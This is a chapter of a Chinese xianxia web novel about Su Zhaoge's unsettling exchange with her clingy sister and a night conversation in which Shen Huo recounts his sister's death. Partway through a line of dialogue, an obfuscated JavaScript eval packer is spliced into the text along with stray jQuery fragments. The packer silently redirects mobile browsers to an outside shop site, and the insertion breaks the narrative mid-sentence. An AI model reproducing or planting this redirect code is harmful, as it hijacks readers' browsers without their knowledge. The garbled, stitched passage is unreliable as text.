武试结束,围绕在身边光芒渐渐散去,所有的考生再一次重回仙盟。
人们在苏棹歌身边擦肩而过,侃侃而谈,有人欢喜有人愁,倒是苏棹歌面无表情一路无言。
林悠看她脸色不好,以为是被吓到了,有些担忧地盯着她,生怕再出些什么意外。
一直到苏默笙前来接人,才安心把苏棹歌交给她。
临走,林悠没忘记把柳问青留下的手帕塞给她。
苏棹歌只看了一眼,本能地有些抵触,但还是收下了。
“明日见,棹歌。”林悠挥挥手。
“姐姐?”见苏棹歌状况不对,苏默笙牵起她的手,给冰冷的夜添了些温度。
为了不让妹妹担心,苏棹歌收敛起那副愁虑的模样,恢复了往日的表情。
即使如此,苏默笙也能猜出发生了什么,因为陈行本应是与她同一考场的人,可直到最后都没能看见他的影子。
结合那些出了考场的人们口中的话,她大致也能猜出苏棹歌为什么会这个表情。
回到寝舍后,苏棹歌坐在角落的椅子上依旧沉默不语。
“姐姐,你也在为陈行感到惋惜吗?”
“嗯?”苏棹歌愣了下。
“嗯?”苏默笙因她的反应也愣了下。
“陈行这种人死有余辜,有什么值得惋惜的。”苏棹歌说。
“……”苏默笙沉默了会儿,显然没想到自己竟然猜错了。
苏棹歌反而以为是苏默笙为陈行的死而惋惜。
毕竟像苏默笙这种受尽万千宠爱的姑娘哪里真正见过这种事情,即使是天之英才,到底也不是冷漠的人。
其他人视苏棹歌为废材,为药引,却只有苏默笙真心待她。
苏棹歌想,苏默笙或许是这混乱世界里唯一的良知。
“那姐姐这一路上……我还以为……”苏默笙脸色有些晦暗难明,依旧不敢相信自己会猜错。
苏棹歌想也没想地摸摸她的头。
事实上,苏棹歌离开考场后也再未想过陈行的事情。
陈行的死固然令人唏嘘,但绝不是她应该同情的,同情陈行,那与同情自己无何区别。
只是……苏棹歌一个二十世纪的十好青年,平日连刑侦剧都不敢看,就算去电影院看个悬疑片,看到大尺度场面也要闭着眼睛,更别说亲眼看到一个人在自己眼前被杀死。
说没有留下阴影是假的。
可神奇的是,苏棹歌却没有自己预想中那么害怕,她甚至要怀疑自己是不是渐渐地被这个世界的人所影响了。
思来想去,觉得都怪这个柳问青。
“我只是在想,仙盟究竟是不是好的归处。”苏棹歌已经开始信任苏默笙,也愿意将一些不便说与他人的话,说给苏默笙听。
“来仙盟不一直都是姐姐的梦想吗?”苏默笙坐到她面前,圆圆的眼睛看着她。
“姐姐……你是要离开这里吗?”说着,苏默笙的手轻轻搭在苏棹歌的手背上。
“欸?”
不对,有哪里不对。
她似乎能感觉到苏默笙语气的变化,不像是询问,更像是质问。
苏棹歌被盯得毛骨悚然,想要抽回手却被苏默笙牢牢捏住。
“这样可不行啊,”苏默笙道,“难道姐姐要丢下笙儿吗?”
天真无邪的模样与平时无异,可苏棹歌直觉上感知到哪里发生了变化。
“默笙……”苏棹歌下意识喊了一声。
苏默笙微微侧头,“嗯?”
“你捏疼我了……”
苏默笙低头看了一下,放了些力气,却没有松开,她自顾道:“姐姐的手总是这样凉,还记得以前总要笙儿帮着暖,现在姐姐病好了,却不用笙儿了……”
苏默笙顺势将那只手贴到自己的脸颊上,随即微微掀起眼帘,眉眼间尽是满足的意味,“这样可不行。”
明明只要像平时一样陪笑着越过这个话题就好了,可现在的苏棹歌就像被什么东西捂住了嘴,抬不起舌,发不了声。
苏默笙明明是在和自己说话,可她心中却一直有另一个声音想要回答她。
她好像整个人要被撕裂,这种异样的感觉让她不知不觉地冷汗浸满全身。
直到——门外恰到好处的三次叩门声响起,将苏棹歌乱飞的思绪拉了回来。
她终于能够回答苏默笙的问题:“我们默笙就是太黏姐姐了,这样姐姐怎么能舍得离开你呢?放心吧,无论何时何地,姐姐都不会离开你的。”
苏棹歌用空出来的那只手轻轻环抱住身前的小女孩,给予她一个郑重的承诺。
苏默笙这才松开手,一时,两人的氛围再次如同往常一样。
而外面的人也没有再敲门,苏棹歌刚以为是谁走错了房间,就又听到一阵踱步声,一会儿走远,一下又折了回来,好像很纠结敲不敲第二次。
终于,等门外的人下定决心,抬起手时,门却“吱呀”一声,被里面的人打开了。
“苏、”那人显然紧张了一下,“棹歌姑娘……”
苏棹歌这才想起来,当时为了躲避苏家人的追踪,她与苏默笙在外改了姓名,看来,现在沈惑应是知道自己隐瞒了。
“我当是谁,原来是沈惑兄。”苏棹歌笑道。
“这个时间前来打扰,还望苏姑娘莫怪。”沈惑一手端在身前,微微欠身,模样文质彬彬,谦恭有礼,很难让人心生厌意。
“怎么会,时间还早,能再次见到沈惑兄,我也很开心。”苏棹歌侧身让出门口,“难得沈惑兄来一次,不如来屋中喝口茶?”
沈惑却摇头回绝,目光越过她,在里屋扫视了一眼,正巧与苏默笙对上了视线。
苏默笙毫不留情地给了他一记眼刀。
“不必了,你们两位姑娘,我留在这里也不方便。”沈惑讪讪收回目光,道,“但我还有些话想与姑娘你说,可否请姑娘赏脸,借一步说话?”
苏棹歌略作思付,回头看了苏默笙一眼,而苏默笙很快恢复了单纯无辜的模样,手里捧着没喝完的茶,纯良地眨了眨眼。
“默笙,我出门一下,很快回来。”
苏默笙弯了弯嘴角:“知道啦,但姐姐要在就寝前回来哦,不然默笙一个人会害怕的。”
那笑容毫无破绽,可苏棹歌离开门的一刻,总觉得背后有一道目光,正沉甸甸压着她,好似要将她钉在原地。
门在身后合上,苏棹歌才顿感放松。
寝舍长廊点着几盏油灯,橘黄色的火光将二人的影子一点点拉长。
他们顺着小路边走边聊,让苏棹歌想起以往与邻家大姨闲聊的时光,真是不可多得的惬意。
等得了处座位,她捂着胸口,大大松了口气。
沈惑都看在眼里,也顺势坐在她身边打趣道,“棹歌姑娘与妹妹关系颇深,真是令人羡慕。”
苏棹歌自然接道:“沈惑兄说笑了,默笙是个好孩子,自幼就在关怀下长大,也是家里的骄傲,就是有时太过粘人,让人喘不来气。”
沈惑失笑:“嗯,家里有个小膏药,偶尔是会让人觉得累。”
苏棹歌来了兴致:“哦?如此说来,沈惑兄家也有个‘小膏药’了?”
“家里是有个妹妹,论年纪……今年也该与你一般大了。”
“原来沈惑兄也有个妹妹,难怪自第一次见到你时,身上就有着兄长的感觉,温柔又可靠。”苏棹歌笑说。
“原来我在棹歌姑娘心里是如此形象,真是意外,”沈惑也笑道,“我还担心当时的第一面会给你留下凶悍的印象。”
“怎么会呢,沈惑兄为了柳师兄出头,一看就是重情义之人,后来又为我和默笙提供了这么大的帮助,我感激你还来不及呢。”
苏棹歌摆摆手,突然好奇道,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511949|203035||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那沈惑兄的妹妹呢?如今也在仙盟吗?我也想同她认识一下呢。”
听苏棹歌说完,沈惑很明显地顿了一下。
若非苏棹歌正看着他,实在难以察觉,这时,苏棹歌意识到自己说错了话。
“她……已经不在了。”沈惑勉强挤出个笑意。
苏棹歌在心里给了自己一巴掌。
方才与沈惑聊着聊着实在是不知天地为何物了,这张嘴竟也不知把关。
跃动的火焰在他们的脸上明明灭灭,苏棹歌在沈惑的眼底看到了一丝痛惜。
沈惑一定很在乎他的妹妹,才会在她一个外人面前展现这样痛苦的表情。
虽然沈惑还没有落下眼泪,但苏棹歌还是给他递出去了一张手帕。
柳问青的东西也并非全然无用。
“沈兄……”苏棹歌拉了拉他的衣袖,露出一个宽慰的笑来,“可以和我讲讲她的故事吗?”
月光照在苏棹歌的脸上,让沈惑能够看清她眼底的清澈与透亮。
真诚又炽热。
沈惑忽然觉得喉咙有些发紧,他接过手帕,捏在手中。
过了会儿,他深吸一口气,道,“真是奇怪,本来我应该是来为你明日最后的考核加油的,怎么到现在反而成了要让你安慰我。”
“这怎么是安慰,”苏棹歌摇摇头道,“记忆是构成一个人最宝贵的东西,沈兄既看重自己的妹妹,那她在你的记忆中一定占着举足轻重的位置,既然如此,为何不将这些记忆讲出来,让更多人记住她呢?”
“……”沈惑神色沉重地沉默了一刻。
他已经好久好久没有和别人提及过妹妹的事情了。
他以为自己已经与过去和解,可见到苏棹歌的一瞬,那些记忆就如滔滔洪水般不断上涌。
沈惑怕一旦开了口,那些好不容易压下去的回忆就会将他淹没。
都道入了仙盟的人应该断绝一切妨碍理性的人或事,可此刻,在苏棹歌面前,他却觉得也许可以说一说。
“她叫沈念,不过比我小两岁,可在家的时候比谁都像个小大人。
小时候家里穷,爹娘去的早,我一个人带着她,走到哪儿她便跟到哪儿。
后来有幸,我拿到了入盟的资格,想着总算能让她过上些好日子了,可她不愿离开我,吵着和我一起上山,可她天赋不好,灵根微弱,最后也只能做个杂役弟子,洒扫、做饭、洗衣……明明都累得直不起腰,可每次见了我,还是会笑嘻嘻的。”
沈惑深吸了口气,试图让心情平稳下来,可微微颤抖的肩膀还是暴露了他此时的不安。
“那时,我刚入师门,接了许多许多的任务,想多领些俸禄,让妹妹轻松一些,可我却因此害了病。
卧病在床的这段时间,阿念既要忙自己的事情,又要抽空来照顾我,后来我体力不支晕了过去,再醒来,就得知阿念失踪的消息……”
说完,沈惑重重捶了自己一拳,不甘与愤怒充斥着他的内心。
“那时我才知道,师门当时给我留下了采药的任务,阿念为了帮我,才自己入了樟林……”
“樟林平日只有些小型凶兽,本不会对门内弟子产生威胁,可那日……却有异化的凶兽出现,等我赶到时……她已经没了,甚至,没能留下一具全尸。”
“明明,我是为了让她过上好的生活,可为什么……会是这样……”沈惑闭了闭眼,声音彻底变得哽咽。
“有时我在想,若我再坚强点,或是不在她面前表现的太累……是不是就能改变这一切……阿念是不是就能回来,继续喊我一声‘大哥’……”
“沈大哥。”苏棹歌一只手搭上他的肩,“我没有哥哥,但我能明白沈念当时的心情。”
“因为你是她最后的家人,所以她才会有和你一样的愿望,想要你得到幸福,想要为你做些什么,即使结局如此,她也绝不会后悔。”